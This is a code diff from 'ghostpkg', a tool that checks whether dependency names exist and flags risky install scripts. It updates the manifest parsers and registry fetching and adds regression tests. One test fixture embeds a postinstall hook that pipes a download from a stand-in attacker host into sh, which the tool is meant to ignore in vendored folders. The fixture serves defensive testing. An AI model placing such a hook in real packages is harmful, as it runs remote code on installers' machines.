|
211
|
+
tomllib = None # type: ignore[assignment]
|
|
212
|
+
|
|
213
|
+
names: list[str] = []
|
|
214
|
+
|
|
215
|
+
if tomllib is not None:
|
|
216
|
+
data = tomllib.loads(text)
|
|
217
|
+
project = data.get("project") or {}
|
|
218
|
+
for spec in project.get("dependencies") or []:
|
|
219
|
+
name = _requirement_name(str(spec))
|
|
220
|
+
if name:
|
|
221
|
+
names.append(name)
|
|
222
|
+
for group in (project.get("optional-dependencies") or {}).values():
|
|
223
|
+
for spec in group:
|
|
224
|
+
name = _requirement_name(str(spec))
|
|
225
|
+
if name:
|
|
226
|
+
names.append(name)
|
|
227
|
+
# PEP 735, where uv and pip put dev dependencies.
|
|
228
|
+
for group in (data.get("dependency-groups") or {}).values():
|
|
229
|
+
if isinstance(group, list):
|
|
230
|
+
for spec in group:
|
|
231
|
+
if isinstance(spec, str):
|
|
232
|
+
name = _requirement_name(spec)
|
|
233
|
+
if name:
|
|
234
|
+
names.append(name)
|
|
235
|
+
poetry = (data.get("tool") or {}).get("poetry") or {}
|
|
236
|
+
for section in ("dependencies", "dev-dependencies"):
|
|
237
|
+
if isinstance(poetry.get(section), dict):
|
|
238
|
+
names.extend(_poetry_names(poetry[section]))
|
|
239
|
+
for group in (poetry.get("group") or {}).values():
|
|
240
|
+
if isinstance(group, dict) and isinstance(group.get("dependencies"), dict):
|
|
241
|
+
names.extend(_poetry_names(group["dependencies"]))
|
|
242
|
+
else:
|
|
243
|
+
for spec in _toml_arrays(text, "project", "dependencies"):
|
|
244
|
+
name = _requirement_name(spec)
|
|
245
|
+
if name:
|
|
246
|
+
names.append(name)
|
|
247
|
+
for table in ("project.optional-dependencies", "dependency-groups"):
|
|
248
|
+
for key in _toml_table_keys(text, table):
|
|
249
|
+
for spec in _toml_arrays(text, table, key):
|
|
250
|
+
name = _requirement_name(spec)
|
|
251
|
+
if name:
|
|
252
|
+
names.append(name)
|
|
253
|
+
# Poetry groups live in their own tables; find them by scanning headers.
|
|
254
|
+
poetry_tables = ["tool.poetry.dependencies", "tool.poetry.dev-dependencies"]
|
|
255
|
+
for raw in text.splitlines():
|
|
256
|
+
line = raw.split("#", 1)[0].strip()
|
|
257
|
+
if (
|
|
258
|
+
line.startswith("[tool.poetry.group.")
|
|
259
|
+
and line.endswith(".dependencies]")
|
|
260
|
+
):
|
|
261
|
+
poetry_tables.append(line[1:-1])
|
|
262
|
+
for table in poetry_tables:
|
|
263
|
+
names.extend(
|
|
264
|
+
name for name in _toml_table_keys(text, table) if name.lower() != "python"
|
|
265
|
+
)
|
|
266
|
+
|
|
267
|
+
seen: set[str] = set()
|
|
268
|
+
return [n for n in names if not (n in seen or seen.add(n))]
|
|
269
|
+
|
|
270
|
+
|
|
271
|
+
def _looks_like_requirements(name: str) -> bool:
|
|
272
|
+
stem = name.rsplit(".", 1)[0]
|
|
273
|
+
if name.endswith(".in"):
|
|
274
|
+
return True
|
|
275
|
+
if not name.endswith(".txt"):
|
|
276
|
+
return False
|
|
277
|
+
return any(word in stem for word in REQUIREMENTS_NAMES)
|
|
278
|
+
|
|
279
|
+
|
|
280
|
+
def load_manifest(path: Path) -> tuple[list[str], str]:
|
|
281
|
+
"""Return (package names, ecosystem). Raises UnsupportedManifest."""
|
|
282
|
+
name = path.name.lower()
|
|
283
|
+
|
|
284
|
+
if name == "package.json":
|
|
285
|
+
return parse_package_json(path.read_text(encoding="utf-8")), "npm"
|
|
286
|
+
if name == "pyproject.toml":
|
|
287
|
+
return parse_pyproject(path.read_text(encoding="utf-8")), "pypi"
|
|
288
|
+
if _looks_like_requirements(name):
|
|
289
|
+
text = path.read_text(encoding="utf-8")
|
|
290
|
+
return parse_requirements(text, base=path.parent), "pypi"
|
|
291
|
+
|
|
292
|
+
raise UnsupportedManifest(
|
|
293
|
+
f"don't know how to read {path.name!r}. Supported: {SUPPORTED}"
|
|
294
|
+
)
|
|
@@ -6,6 +6,7 @@ so this module deliberately uses urllib rather than requests.
|
|
|
6
6
|
|
|
7
7
|
from __future__ import annotations
|
|
8
8
|
|
|
9
|
+
import gzip
|
|
9
10
|
import json
|
|
10
11
|
import urllib.error
|
|
11
12
|
import urllib.parse
|
|
@@ -16,6 +17,10 @@ from datetime import datetime, timezone
|
|
|
16
17
|
USER_AGENT = "ghostpkg/0.1 (+https://github.com/m1rwana12/ghostpkg)"
|
|
17
18
|
TIMEOUT = 15
|
|
18
19
|
|
|
20
|
+
# npm serves whole packuments: @types/node is 11 MB uncompressed and 1.4 MB
|
|
21
|
+
# gzipped, and parsing the uncompressed form peaks around 60 MB of objects.
|
|
22
|
+
MAX_RESPONSE_BYTES = 32 * 1024 * 1024
|
|
23
|
+
|
|
19
24
|
|
|
20
25
|
class RegistryError(RuntimeError):
|
|
21
26
|
"""The registry could not be reached or returned something unusable."""
|
|
@@ -39,19 +44,34 @@ class PackageFacts:
|
|
|
39
44
|
|
|
40
45
|
|
|
41
46
|
def _get_json(url: str) -> dict | None:
|
|
42
|
-
"""Fetch and decode JSON. Returns None on a clean 404.
|
|
43
|
-
|
|
47
|
+
"""Fetch and decode JSON. Returns None on a clean 404.
|
|
48
|
+
|
|
49
|
+
Everything that is not a clean 404 becomes a RegistryError. That matters
|
|
50
|
+
more than it looks: urlopen only wraps failures that happen while
|
|
51
|
+
*connecting*, so a stalled or reset connection during `read()` used to
|
|
52
|
+
escape as a bare TimeoutError or ConnectionResetError, leave a traceback,
|
|
53
|
+
and exit 1 -- the code that means "a package does not exist". The most
|
|
54
|
+
ordinary network flakiness read as a confirmed detection.
|
|
55
|
+
"""
|
|
56
|
+
request = urllib.request.Request(
|
|
57
|
+
url, headers={"User-Agent": USER_AGENT, "Accept-Encoding": "gzip"}
|
|
58
|
+
)
|
|
44
59
|
try:
|
|
45
60
|
with urllib.request.urlopen(request, timeout=TIMEOUT) as response:
|
|
46
|
-
|
|
61
|
+
raw = response.read(MAX_RESPONSE_BYTES + 1)
|
|
62
|
+
if len(raw) > MAX_RESPONSE_BYTES:
|
|
63
|
+
raise RegistryError(f"{url} returned more than {MAX_RESPONSE_BYTES} bytes")
|
|
64
|
+
if response.headers.get("Content-Encoding") == "gzip":
|
|
65
|
+
raw = gzip.decompress(raw)
|
|
66
|
+
return json.loads(raw.decode("utf-8"))
|
|
47
67
|
except urllib.error.HTTPError as exc:
|
|
48
68
|
if exc.code == 404:
|
|
49
69
|
return None
|
|
50
70
|
raise RegistryError(f"{url} returned HTTP {exc.code}") from exc
|
|
51
|
-
except
|
|
52
|
-
raise
|
|
53
|
-
except
|
|
54
|
-
raise RegistryError(f"{url}
|
|
71
|
+
except RegistryError:
|
|
72
|
+
raise
|
|
73
|
+
except Exception as exc: # noqa: BLE001 - anything else is "lookup failed"
|
|
74
|
+
raise RegistryError(f"could not read {url}: {exc}") from exc
|
|
55
75
|
|
|
56
76
|
|
|
57
77
|
def _age_in_days(iso_timestamp: str) -> int | None:
|
|
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "ghostpkg"
|
|
7
|
-
version = "0.
|
|
7
|
+
version = "0.7.0"
|
|
8
8
|
description = "Catch package names that do not exist before you install them"
|
|
9
9
|
readme = "README.en.md" # English page for PyPI; the repo main page is Ukrainian
|
|
10
10
|
requires-python = ">=3.9"
|
|
@@ -0,0 +1,244 @@
|
|
|
1
|
+
"""Regressions from the production-readiness audit.
|
|
2
|
+
|
|
3
|
+
Each test here corresponds to a bug that shipped. Several of them were silent:
|
|
4
|
+
the tool reported success having never performed the check, which for a
|
|
5
|
+
security tool is worse than crashing.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import io
|
|
11
|
+
import json
|
|
12
|
+
import tarfile
|
|
13
|
+
import threading
|
|
14
|
+
|
|
15
|
+
import pytest
|
|
16
|
+
|
|
17
|
+
from ghostpkg.assess import Verdict
|
|
18
|
+
from ghostpkg.cache import Cache
|
|
19
|
+
from ghostpkg.cli import evaluate, main
|
|
20
|
+
from ghostpkg.inspection import inspect_archive
|
|
21
|
+
from ghostpkg.manifests import (
|
|
22
|
+
UnsupportedManifest,
|
|
23
|
+
load_manifest,
|
|
24
|
+
parse_package_json,
|
|
25
|
+
parse_requirements,
|
|
26
|
+
)
|
|
27
|
+
from ghostpkg.registries import PackageFacts, RegistryError
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
class TestPrefixFilterDroppedRealPackages:
|
|
31
|
+
"""Lines starting with `http` were skipped to drop bare URLs. That also
|
|
32
|
+
dropped `httpx`, `httpcore` and `httplib2` -- silently."""
|
|
33
|
+
|
|
34
|
+
@pytest.mark.parametrize("name", ["httpx", "httpcore", "httplib2", "httpretty"])
|
|
35
|
+
def test_http_prefixed_names_are_kept(self, name):
|
|
36
|
+
assert parse_requirements(f"{name}==1.0\n") == [name]
|
|
37
|
+
|
|
38
|
+
def test_bare_urls_are_still_skipped(self):
|
|
39
|
+
text = "https://example.com/pkg-1.0.tar.gz\nrequests\n"
|
|
40
|
+
assert parse_requirements(text) == ["requests"]
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
class TestDirectReferencesAndPrivateIndexes:
|
|
44
|
+
"""`name @ url` states its own source, so the public registry has no say.
|
|
45
|
+
Treating it as a plain name blocked every internal package a company had."""
|
|
46
|
+
|
|
47
|
+
def test_direct_reference_is_skipped(self):
|
|
48
|
+
text = "internal-lib @ git+https://github.com/acme/internal-lib\nrequests\n"
|
|
49
|
+
assert parse_requirements(text) == ["requests"]
|
|
50
|
+
|
|
51
|
+
def test_direct_reference_with_extras_is_skipped(self):
|
|
52
|
+
assert parse_requirements("internal[all] @ https://x/y.whl\n") == []
|
|
53
|
+
|
|
54
|
+
@pytest.mark.parametrize(
|
|
55
|
+
"line",
|
|
56
|
+
[
|
|
57
|
+
"--index-url https://pypi.acme.internal/simple",
|
|
58
|
+
"--extra-index-url https://other/simple",
|
|
59
|
+
"-e .",
|
|
60
|
+
"--hash=sha256:abc123",
|
|
61
|
+
"./local-dir",
|
|
62
|
+
],
|
|
63
|
+
)
|
|
64
|
+
def test_option_and_path_lines_are_skipped(self, line):
|
|
65
|
+
assert parse_requirements(f"{line}\nrequests\n") == ["requests"]
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
class TestManifestDetection:
|
|
69
|
+
"""`README.txt` parsed as requirements yielded ['Install', 'Run', 'numpy'],
|
|
70
|
+
two of which do not exist -- confident nonsense from a security tool."""
|
|
71
|
+
|
|
72
|
+
def test_arbitrary_txt_is_refused(self, tmp_path):
|
|
73
|
+
path = tmp_path / "README.txt"
|
|
74
|
+
path.write_text("Install ghostpkg today.\nRun the scanner\n", encoding="utf-8")
|
|
75
|
+
with pytest.raises(UnsupportedManifest):
|
|
76
|
+
load_manifest(path)
|
|
77
|
+
|
|
78
|
+
@pytest.mark.parametrize(
|
|
79
|
+
"filename",
|
|
80
|
+
[
|
|
81
|
+
"requirements.txt",
|
|
82
|
+
"requirements-dev.txt",
|
|
83
|
+
"dev-requirements.txt",
|
|
84
|
+
"constraints.txt",
|
|
85
|
+
"reqs.in",
|
|
86
|
+
],
|
|
87
|
+
)
|
|
88
|
+
def test_real_requirements_filenames_are_accepted(self, tmp_path, filename):
|
|
89
|
+
path = tmp_path / filename
|
|
90
|
+
path.write_text("requests\n", encoding="utf-8")
|
|
91
|
+
assert load_manifest(path) == (["requests"], "pypi")
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
class TestIncludesAreFollowed:
|
|
95
|
+
"""`-r base.txt` was dropped, so half a project went unchecked."""
|
|
96
|
+
|
|
97
|
+
def test_include_is_read(self, tmp_path):
|
|
98
|
+
(tmp_path / "base.txt").write_text("flask\njinja2\n", encoding="utf-8")
|
|
99
|
+
(tmp_path / "requirements.txt").write_text("-r base.txt\nrequests\n", encoding="utf-8")
|
|
100
|
+
names, _ = load_manifest(tmp_path / "requirements.txt")
|
|
101
|
+
assert set(names) == {"flask", "jinja2", "requests"}
|
|
102
|
+
|
|
103
|
+
def test_constraint_include_is_read(self, tmp_path):
|
|
104
|
+
(tmp_path / "c.txt").write_text("pinned-thing\n", encoding="utf-8")
|
|
105
|
+
(tmp_path / "requirements.txt").write_text("-c c.txt\n", encoding="utf-8")
|
|
106
|
+
assert load_manifest(tmp_path / "requirements.txt")[0] == ["pinned-thing"]
|
|
107
|
+
|
|
108
|
+
def test_a_cycle_terminates(self, tmp_path):
|
|
109
|
+
(tmp_path / "requirements.txt").write_text("-r other.txt\na\n", encoding="utf-8")
|
|
110
|
+
(tmp_path / "other.txt").write_text("-r requirements.txt\nb\n", encoding="utf-8")
|
|
111
|
+
names, _ = load_manifest(tmp_path / "requirements.txt")
|
|
112
|
+
assert set(names) == {"a", "b"}
|
|
113
|
+
|
|
114
|
+
def test_a_missing_include_is_ignored(self, tmp_path):
|
|
115
|
+
(tmp_path / "requirements.txt").write_text("-r nope.txt\nrequests\n", encoding="utf-8")
|
|
116
|
+
assert load_manifest(tmp_path / "requirements.txt")[0] == ["requests"]
|
|
117
|
+
|
|
118
|
+
|
|
119
|
+
class TestOneFailureDoesNotDiscardTheScan:
|
|
120
|
+
"""pool.map re-raised the first error while iterating, throwing away every
|
|
121
|
+
confirmed BLOCK with it and skipping the cache write entirely."""
|
|
122
|
+
|
|
123
|
+
def test_confirmed_blocks_survive_a_failure(self, monkeypatch):
|
|
124
|
+
def fake_fetch(name, ecosystem):
|
|
125
|
+
if name == "boom":
|
|
126
|
+
raise RegistryError("HTTP 429")
|
|
127
|
+
return PackageFacts(name=name, ecosystem=ecosystem, exists=name != "ghost")
|
|
128
|
+
|
|
129
|
+
monkeypatch.setattr("ghostpkg.cli.fetch", fake_fetch)
|
|
130
|
+
findings = evaluate(["a", "ghost", "boom", "b"], "pypi", strict=False, cache=None)
|
|
131
|
+
|
|
132
|
+
by_name = {f.name: f.verdict for f in findings}
|
|
133
|
+
assert by_name["ghost"] is Verdict.BLOCK
|
|
134
|
+
assert by_name["boom"] is Verdict.ERROR
|
|
135
|
+
assert by_name["a"] is Verdict.OK
|
|
136
|
+
|
|
137
|
+
def test_an_unchecked_name_is_never_a_pass(self, monkeypatch):
|
|
138
|
+
monkeypatch.setattr(
|
|
139
|
+
"ghostpkg.cli.fetch",
|
|
140
|
+
lambda name, ecosystem: (_ for _ in ()).throw(RegistryError("offline")),
|
|
141
|
+
)
|
|
142
|
+
assert main(["check", "requests", "--no-cache"]) == 2
|
|
143
|
+
|
|
144
|
+
def test_repeated_names_are_looked_up_once(self, monkeypatch):
|
|
145
|
+
calls = []
|
|
146
|
+
|
|
147
|
+
def fake_fetch(name, ecosystem):
|
|
148
|
+
calls.append(name)
|
|
149
|
+
return PackageFacts(name=name, ecosystem=ecosystem, exists=True)
|
|
150
|
+
|
|
151
|
+
monkeypatch.setattr("ghostpkg.cli.fetch", fake_fetch)
|
|
152
|
+
findings = evaluate(["requests"] * 8, "pypi", strict=False, cache=None)
|
|
153
|
+
assert calls == ["requests"]
|
|
154
|
+
assert len(findings) == 8
|
|
155
|
+
|
|
156
|
+
|
|
157
|
+
class TestCacheKeysPerEcosystem:
|
|
158
|
+
"""npm names are case-sensitive; PyPI names are not. One lowercased key
|
|
159
|
+
served `JSONStream`'s facts for `jsonstream` -- two different real
|
|
160
|
+
packages, so a wrong `exists` and a wrong verdict."""
|
|
161
|
+
|
|
162
|
+
def facts(self, name, ecosystem):
|
|
163
|
+
return PackageFacts(
|
|
164
|
+
name=name, ecosystem=ecosystem, exists=True,
|
|
165
|
+
age_days=4000, release_count=30, has_repo_url=True,
|
|
166
|
+
)
|
|
167
|
+
|
|
168
|
+
def test_npm_names_stay_distinct(self, tmp_path):
|
|
169
|
+
cache = Cache(directory=tmp_path)
|
|
170
|
+
cache.put(self.facts("JSONStream", "npm"))
|
|
171
|
+
assert cache.get("npm", "jsonstream") is None
|
|
172
|
+
|
|
173
|
+
def test_pypi_names_are_normalised_per_pep503(self, tmp_path):
|
|
174
|
+
cache = Cache(directory=tmp_path)
|
|
175
|
+
cache.put(self.facts("zope.interface", "pypi"))
|
|
176
|
+
assert cache.get("pypi", "zope-interface") is not None
|
|
177
|
+
assert cache.get("pypi", "Zope_Interface") is not None
|
|
178
|
+
|
|
179
|
+
def test_concurrent_writes_do_not_lose_entries(self, tmp_path):
|
|
180
|
+
cache = Cache(directory=tmp_path)
|
|
181
|
+
names = [f"pkg-{i}" for i in range(200)]
|
|
182
|
+
|
|
183
|
+
def worker(chunk):
|
|
184
|
+
for name in chunk:
|
|
185
|
+
cache.put(self.facts(name, "pypi"))
|
|
186
|
+
|
|
187
|
+
threads = [
|
|
188
|
+
threading.Thread(target=worker, args=(names[i::4],)) for i in range(4)
|
|
189
|
+
]
|
|
190
|
+
for thread in threads:
|
|
191
|
+
thread.start()
|
|
192
|
+
for thread in threads:
|
|
193
|
+
thread.join()
|
|
194
|
+
|
|
195
|
+
assert all(cache.get("pypi", name) is not None for name in names)
|
|
196
|
+
|
|
197
|
+
|
|
198
|
+
class TestDeepReadsOnlyTheTopLevelInstallScript:
|
|
199
|
+
"""Matching on basename alone judged a package by test fixtures it shipped,
|
|
200
|
+
and install signals block a young package."""
|
|
201
|
+
|
|
202
|
+
def sdist(self, files):
|
|
203
|
+
buffer = io.BytesIO()
|
|
204
|
+
with tarfile.open(fileobj=buffer, mode="w:gz") as archive:
|
|
205
|
+
for path, text in files.items():
|
|
206
|
+
data = text.encode()
|
|
207
|
+
info = tarfile.TarInfo(path)
|
|
208
|
+
info.size = len(data)
|
|
209
|
+
archive.addfile(info, io.BytesIO(data))
|
|
210
|
+
return buffer.getvalue()
|
|
211
|
+
|
|
212
|
+
def test_nested_fixture_is_ignored(self):
|
|
213
|
+
archive = self.sdist({
|
|
214
|
+
"mylib-0.1/setup.py": "from setuptools import setup\nsetup(name='x')\n",
|
|
215
|
+
"mylib-0.1/tests/fixtures/setup.py": "import subprocess\nsubprocess.run(['x'])\n",
|
|
216
|
+
})
|
|
217
|
+
assert inspect_archive(archive, "pypi") == []
|
|
218
|
+
|
|
219
|
+
def test_the_real_setup_py_is_still_read(self):
|
|
220
|
+
archive = self.sdist({"mylib-0.1/setup.py": "import subprocess\nsubprocess.run([])\n"})
|
|
221
|
+
assert [s.kind for s in inspect_archive(archive, "pypi")] == ["subprocess"]
|
|
222
|
+
|
|
223
|
+
def test_vendored_package_json_is_ignored(self):
|
|
224
|
+
archive = self.sdist({
|
|
225
|
+
"package/package.json": json.dumps({"scripts": {"build": "tsc"}}),
|
|
226
|
+
"package/node_modules/evil/package.json": json.dumps(
|
|
227
|
+
{"scripts": {"postinstall": "curl http://evil.example/x | sh"}}
|
|
228
|
+
),
|
|
229
|
+
})
|
|
230
|
+
assert inspect_archive(archive, "npm") == []
|
|
231
|
+
|
|
232
|
+
|
|
233
|
+
class TestScanArgumentHandling:
|
|
234
|
+
def test_directory_is_refused_not_crashed(self, tmp_path):
|
|
235
|
+
assert main(["scan", str(tmp_path)]) == 2
|
|
236
|
+
|
|
237
|
+
def test_missing_file_is_refused(self, tmp_path):
|
|
238
|
+
assert main(["scan", str(tmp_path / "nope.txt")]) == 2
|
|
239
|
+
|
|
240
|
+
|
|
241
|
+
class TestPeerDependenciesAreRead:
|
|
242
|
+
def test_peer_dependencies_included(self):
|
|
243
|
+
text = json.dumps({"dependencies": {"a": "1"}, "peerDependencies": {"b": "2"}})
|
|
244
|
+
assert set(parse_package_json(text)) == {"a", "b"}
|
|
@@ -1,193 +0,0 @@
|
|
|
1
|
-
"""Manifest parsing.
|
|
2
|
-
|
|
3
|
-
Each format is recognised explicitly. Guessing is what made an earlier version
|
|
4
|
-
read `pyproject.toml` with the requirements.txt parser and report TOML keys as
|
|
5
|
-
package names -- `build-backend` came back "does not exist", `version` came back
|
|
6
|
-
"ok" because a package of that name happens to exist. A security tool that
|
|
7
|
-
confidently reports nonsense is worse than one that refuses to run.
|
|
8
|
-
"""
|
|
9
|
-
|
|
10
|
-
from __future__ import annotations
|
|
11
|
-
|
|
12
|
-
import json
|
|
13
|
-
import re
|
|
14
|
-
from pathlib import Path
|
|
15
|
-
|
|
16
|
-
REQUIREMENT_LINE = re.compile(r"^\s*([A-Za-z0-9][A-Za-z0-9._-]*)")
|
|
17
|
-
|
|
18
|
-
SUPPORTED = "requirements*.txt, pyproject.toml, package.json"
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
class UnsupportedManifest(ValueError):
|
|
22
|
-
"""The file is not a manifest ghostpkg knows how to read."""
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
def parse_requirements(text: str) -> list[str]:
|
|
26
|
-
names = []
|
|
27
|
-
for raw in text.splitlines():
|
|
28
|
-
line = raw.strip()
|
|
29
|
-
if not line or line.startswith(("#", "-", "git+", "http")):
|
|
30
|
-
continue
|
|
31
|
-
match = REQUIREMENT_LINE.match(line)
|
|
32
|
-
if match:
|
|
33
|
-
names.append(match.group(1))
|
|
34
|
-
return names
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
def parse_package_json(text: str) -> list[str]:
|
|
38
|
-
data = json.loads(text)
|
|
39
|
-
names: list[str] = []
|
|
40
|
-
for key in ("dependencies", "devDependencies", "optionalDependencies"):
|
|
41
|
-
names.extend((data.get(key) or {}).keys())
|
|
42
|
-
return names
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
def _requirement_name(spec: str) -> str | None:
|
|
46
|
-
"""Take the project name off a PEP 508 requirement string."""
|
|
47
|
-
spec = spec.strip()
|
|
48
|
-
if not spec or spec.startswith(("#", "-")):
|
|
49
|
-
return None
|
|
50
|
-
match = REQUIREMENT_LINE.match(spec)
|
|
51
|
-
return match.group(1) if match else None
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
def _toml_arrays(text: str, table: str, key: str) -> list[str]:
|
|
55
|
-
"""Read a string array out of one TOML table without a TOML parser.
|
|
56
|
-
|
|
57
|
-
Only the shapes that appear in dependency declarations are handled:
|
|
58
|
-
`key = ["a", "b"]` on one line, or spread across several. This exists
|
|
59
|
-
because tomllib is 3.11+ and ghostpkg supports 3.9 with no dependencies.
|
|
60
|
-
"""
|
|
61
|
-
lines = text.splitlines()
|
|
62
|
-
current = ""
|
|
63
|
-
collected: list[str] = []
|
|
64
|
-
depth = 0
|
|
65
|
-
buffer = ""
|
|
66
|
-
|
|
67
|
-
for raw in lines:
|
|
68
|
-
line = raw.strip()
|
|
69
|
-
if depth == 0:
|
|
70
|
-
if line.startswith("[") and line.endswith("]"):
|
|
71
|
-
current = line[1:-1].strip().strip('"')
|
|
72
|
-
continue
|
|
73
|
-
if current != table:
|
|
74
|
-
continue
|
|
75
|
-
stripped = line.split("#", 1)[0].strip()
|
|
76
|
-
if not stripped.startswith(key):
|
|
77
|
-
continue
|
|
78
|
-
after = stripped[len(key):].lstrip()
|
|
79
|
-
if not after.startswith("="):
|
|
80
|
-
continue
|
|
81
|
-
buffer = after[1:].strip()
|
|
82
|
-
if not buffer.startswith("["):
|
|
83
|
-
continue
|
|
84
|
-
depth = 1
|
|
85
|
-
buffer = buffer[1:]
|
|
86
|
-
else:
|
|
87
|
-
buffer += " " + line.split("#", 1)[0].strip()
|
|
88
|
-
|
|
89
|
-
if depth:
|
|
90
|
-
if "]" in buffer:
|
|
91
|
-
buffer = buffer[: buffer.index("]")]
|
|
92
|
-
depth = 0
|
|
93
|
-
collected.extend(re.findall(r'["\']([^"\']+)["\']', buffer))
|
|
94
|
-
buffer = ""
|
|
95
|
-
return collected
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
def _toml_table_keys(text: str, table: str) -> list[str]:
|
|
99
|
-
"""Read the keys of one TOML table (`name = value` lines)."""
|
|
100
|
-
keys: list[str] = []
|
|
101
|
-
current = ""
|
|
102
|
-
for raw in text.splitlines():
|
|
103
|
-
line = raw.split("#", 1)[0].strip()
|
|
104
|
-
if line.startswith("[") and line.endswith("]"):
|
|
105
|
-
current = line[1:-1].strip().strip('"')
|
|
106
|
-
continue
|
|
107
|
-
if current != table or "=" not in line:
|
|
108
|
-
continue
|
|
109
|
-
name = line.split("=", 1)[0].strip().strip('"').strip("'")
|
|
110
|
-
if name:
|
|
111
|
-
keys.append(name)
|
|
112
|
-
return keys
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
def parse_pyproject(text: str) -> list[str]:
|
|
116
|
-
"""Dependencies from PEP 621 and from Poetry.
|
|
117
|
-
|
|
118
|
-
Uses tomllib where it exists (3.11+) and a narrow fallback parser below
|
|
119
|
-
that, because adding a TOML dependency would contradict the whole point
|
|
120
|
-
of this tool.
|
|
121
|
-
"""
|
|
122
|
-
try:
|
|
123
|
-
import tomllib # noqa: PLC0415
|
|
124
|
-
except ImportError:
|
|
125
|
-
tomllib = None # type: ignore[assignment]
|
|
126
|
-
|
|
127
|
-
names: list[str] = []
|
|
128
|
-
|
|
129
|
-
if tomllib is not None:
|
|
130
|
-
data = tomllib.loads(text)
|
|
131
|
-
project = data.get("project") or {}
|
|
132
|
-
for spec in project.get("dependencies") or []:
|
|
133
|
-
name = _requirement_name(spec)
|
|
134
|
-
if name:
|
|
135
|
-
names.append(name)
|
|
136
|
-
for group in (project.get("optional-dependencies") or {}).values():
|
|
137
|
-
for spec in group:
|
|
138
|
-
name = _requirement_name(spec)
|
|
139
|
-
if name:
|
|
140
|
-
names.append(name)
|
|
141
|
-
poetry = ((data.get("tool") or {}).get("poetry") or {})
|
|
142
|
-
for section in ("dependencies", "dev-dependencies"):
|
|
143
|
-
for name in (poetry.get(section) or {}):
|
|
144
|
-
if name.lower() != "python":
|
|
145
|
-
names.append(name)
|
|
146
|
-
for group in ((poetry.get("group") or {}).values()):
|
|
147
|
-
for name in (group.get("dependencies") or {}):
|
|
148
|
-
if name.lower() != "python":
|
|
149
|
-
names.append(name)
|
|
150
|
-
else:
|
|
151
|
-
for spec in _toml_arrays(text, "project", "dependencies"):
|
|
152
|
-
name = _requirement_name(spec)
|
|
153
|
-
if name:
|
|
154
|
-
names.append(name)
|
|
155
|
-
# optional-dependencies is a table of arrays; scan every key in it
|
|
156
|
-
for raw in text.splitlines():
|
|
157
|
-
stripped = raw.split("#", 1)[0].strip()
|
|
158
|
-
if stripped.startswith("[project.optional-dependencies]"):
|
|
159
|
-
break
|
|
160
|
-
for key in _toml_table_keys(text, "project.optional-dependencies"):
|
|
161
|
-
for spec in _toml_arrays(text, "project.optional-dependencies", key):
|
|
162
|
-
name = _requirement_name(spec)
|
|
163
|
-
if name:
|
|
164
|
-
names.append(name)
|
|
165
|
-
for table in ("tool.poetry.dependencies", "tool.poetry.dev-dependencies"):
|
|
166
|
-
for name in _toml_table_keys(text, table):
|
|
167
|
-
if name.lower() != "python":
|
|
168
|
-
names.append(name)
|
|
169
|
-
|
|
170
|
-
seen: set[str] = set()
|
|
171
|
-
unique = []
|
|
172
|
-
for name in names:
|
|
173
|
-
if name not in seen:
|
|
174
|
-
seen.add(name)
|
|
175
|
-
unique.append(name)
|
|
176
|
-
return unique
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
def load_manifest(path: Path) -> tuple[list[str], str]:
|
|
180
|
-
"""Return (package names, ecosystem). Raises UnsupportedManifest."""
|
|
181
|
-
name = path.name.lower()
|
|
182
|
-
text = path.read_text(encoding="utf-8")
|
|
183
|
-
|
|
184
|
-
if name == "package.json":
|
|
185
|
-
return parse_package_json(text), "npm"
|
|
186
|
-
if name == "pyproject.toml":
|
|
187
|
-
return parse_pyproject(text), "pypi"
|
|
188
|
-
if name.endswith(".txt"):
|
|
189
|
-
return parse_requirements(text), "pypi"
|
|
190
|
-
|
|
191
|
-
raise UnsupportedManifest(
|
|
192
|
-
f"don't know how to read {path.name!r}. Supported: {SUPPORTED}"
|
|
193
|
-
)
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|